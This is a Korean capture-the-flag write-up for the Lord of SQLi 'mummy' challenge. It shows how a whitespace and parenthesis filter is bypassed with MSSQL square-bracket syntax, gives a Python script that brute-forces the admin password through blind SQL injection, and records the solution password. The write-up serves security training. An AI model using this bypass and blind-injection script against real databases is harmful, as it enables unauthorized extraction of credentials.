# mummy

첫 화면이다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-nbhYYocLYiriAt9Pw%2F-M-ndcXGMHV2i9nnor-t%2Fimage.png?alt=media\&token=2e2cc0b7-bc87-4eca-a475-7de3f9864af0)

아래 코드로 인해 아스키코드표의 0x01 \~ 0x20까지 필터링이 되고, 따라서 모든 whitespace 문자를 사용할 수 없다.

```php
for($i=0;$i<strlen($_GET['query']);$i++) if(ord($_GET['query'][$i]) <= 32) exit("%01~%20 can used as whitespace at mssql");
```

`/` 가 필터링 되기 때문에 `/**/` 로 우회할 수도 없다.

`(` 와 `)` 도 필터링 된다.

대신, 아래와 같이 `[` 와  `]` 를 사용해 공백없이 쿼리를 구성한다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-rB7Df54KVaIyQWLrK%2F-M-rBA23h5n9s_SVs4Fo%2Fimage.png?alt=media\&token=00d70e9a-f2a8-4daf-8785-40883df518de)

파이썬 코드를 짜면 다음과 같다.

```python
import requests
import string

URL = 'https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?query='
PHPSESSID = 'MY_PHPSESSID'
TRUE_PHRASE = 'Hello anonymous'


def query(payload):
    cookies = {'PHPSESSID': PHPSESSID}
    r = requests.get(URL + payload, cookies=cookies)
    content = r.text
    return TRUE_PHRASE in content


# 0c3cc245
def find_pw():
    pw = ''
    while True:
        found = False
        for character in string.printable:
            if character in "#%&'_":
                continue
            elif query("'1'from[prob_mummy]where[id]='admin'and[pw]like'{}{}%25'".format(pw, character)) is True:
                pw += character
                found = True
                break
        if found is False:
            break
    print('pw: {}'.format(pw))


find_pw()
```

실행결과, pw는 `0c3cc245` 이다.

<https://los.rubiya.kr/chall/mummy_2e13c2a4483d845ce2d37f7c910f0f83.php?pw=0c3cc245> 에 접속하면 문제가 풀린다.

![](https://4149640791-files.gitbook.io/~/files/v0/b/gitbook-legacy-files/o/assets%2F-LybinW10qeKqY56a-jw%2F-M-rCmbnDBbMeT8NEZaF%2F-M-rCoMKxYkf9i5RtfuN%2Fimage.png?alt=media\&token=9e40b099-ac81-40c3-b269-7bd86c09a70c)
